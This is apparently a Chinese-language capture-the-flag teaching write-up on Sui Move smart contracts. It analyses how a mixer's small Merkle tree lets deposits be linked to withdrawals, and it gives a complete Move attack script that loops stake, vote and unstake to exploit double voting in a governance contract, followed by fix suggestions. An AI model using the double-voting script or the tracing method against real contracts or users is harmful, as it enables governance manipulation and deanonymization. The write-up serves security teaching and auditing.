Suinado Cash 混币器合约分析与漏洞利用教学

1. 混币器基本概念

1.1 混币器（CoinJoin/Cryptocurrency Tumbler）

• 核心目的：增强加密货币交易隐私性
• 工作原理：切断发送地址和接收地址之间的直接联系，混淆交易路径
• 效果：使外界难以追踪资金来源和去向

1.2 Merkle树（默克尔树）

• 性质：密码学技术，用根哈希高效验证大量数据的完整性和一致性
• 组成结构：
  • 叶子节点：最底层，每个原始数据块的哈希值
  • 树根：最顶层节点，代表所有数据的唯一标识
• 优势：根据树根和非叶子节点哈希值可快速定位发生修改的叶子节点

2. Suinado Cash 代码分析

2.1 存款函数（deposit）

entry public deposit(Arg0: &mut Mixer, Arg1: Coin<SUI>, Arg2: vector<u8>, Arg3: &mut TxContext)

• 功能：用户存入资金并记录到Merkle树中
• 关键验证：检查存款金额是否大于等于混币器面额（denomination）
• 操作流程：
  1. 验证存款金额 ≥ 面额
  2. 分割硬币，将面额金额转入混币器资金池
  3. 将剩余资金返还给发送者
  4. 将交易信息插入Merkle树
  5. 发送存款事件

2.2 取款函数（withdraw）

entry public withdraw(Arg0: &mut Mixer, Arg1: u64, Arg2: u64, Arg3: vector<u8>, Arg4: vector<vector<u8>>, Arg5: u64, Arg6: address, Arg7: &mut TxContext)

• 功能：用户从混币器中取出资金
• 关键参数：
  • Arg1: 随机数（用于生成nullifier）
  • Arg5: 叶子节点索引（0-15）
  • Arg6: 接收资金地址
• 验证流程：
  1. 检查资金池是否有足够资金
  2. 验证nullifier未被使用过
  3. 验证叶子节点哈希匹配
  4. 验证Merkle根已知
  5. 验证Merkle证明正确
• 成功条件：所有验证通过后，将资金发送到指定地址

3. 漏洞分析与利用

3.1 漏洞本质

• Merkle树仅包含16个叶子节点，叶子节点按顺序存储
• 取款时需要指定叶子节点索引（0-15）
• 区块链浏览器可观察存款交易的叶子节点位置

3.2 攻击步骤

1. 观察存款交易：通过区块链浏览器查看目标存款所在的叶子节点位置
2. 构造取款交易：使用观察到的叶子节点索引和对应地址
3. 获取资金去向：通过取款交易直接获取资金最终流向的地址

3.3 Proof of Commitment 解决方案

针对交易 FcxC5Tuq4hv5WvbSdfPqPEvs165HraWqRup5fbCme8fj 生成有效证明：

1. 环境配置：

sui client new-env --alias mynode --rpc http://85.120.206.56:9000
sui client switch --env mynode

2. 证明构建：

• 使用提供的 build_proof 函数构造Merkle证明
• 算法流程：
  • 从节点列表获取兄弟节点哈希值
  • 将兄弟节点哈希添加到证明向量
  • 移动到父节点并重复操作，直到根节点

3. 证明格式：

SBC{0xaaaaaaaa...,0xbbbbbbbb...,0xcccccccc...,...0xzzzzzzzz...}

4. Ghost Vote 漏洞分析

4.1 获胜条件

public fun is_solved(challenge: &Challenge<COIN>) {
    let proposal = challenge.governance.get_proposal(GET_PROPOSAL_INDEX_TO_DECLINE());
    let solved = !proposal.is_open() && proposal.no_votes() > challenge.governance.get_balance() / 2;
    assert!(solved);
}

• 要求：提案已关闭且反对票超过总票权的一半

4.2 投票机制漏洞

• 问题：解质押时未验证用户是否已投票
• 攻击路径：质押 → 投票 → 解质押 → 重复操作

4.3 攻击脚本

module the_solution::solution;

use challenge::challenge::{Challenge, GET_PROPOSAL_INDEX_TO_DECLINE};
use challenge::coin::COIN;

public fun solve(challenge: &mut Challenge<COIN>, ctx: &mut TxContext) {
    let mut coins = challenge.claim_coin(ctx);
    while (true) {
        challenge.get_governance().stake(coins, ctx);
        challenge.get_governance().vote(GET_PROPOSAL_INDEX_TO_DECLINE(), false, ctx);
        coins = challenge.get_governance().unstake(ctx);
        if(challenge.get_governance().get_proposal(GET_PROPOSAL_INDEX_TO_DECLINE()).is_open() == false) {
            break
        }
    };
    challenge.get_governance().stake(coins, ctx);
}

4.4 修复建议

1. 添加投票记录：在Proposal中添加yes_voters和no_voters表
2. 解质押时删除投票：实现delete_vote函数
3. 增强验证：在各个关键函数中添加验证逻辑

5. 总结

本教学文档详细分析了Suinado Cash混币器合约的漏洞及其利用方法，以及Ghost Vote漏洞的攻击原理和修复方案。关键点包括Merkle树的结构特性、存款取款流程的验证机制、以及如何通过区块链观察和构造证明来实现资金流向追踪。同时提供了具体的攻击脚本和系统化的修复建议，为智能合约安全审计和漏洞修复提供了实用参考。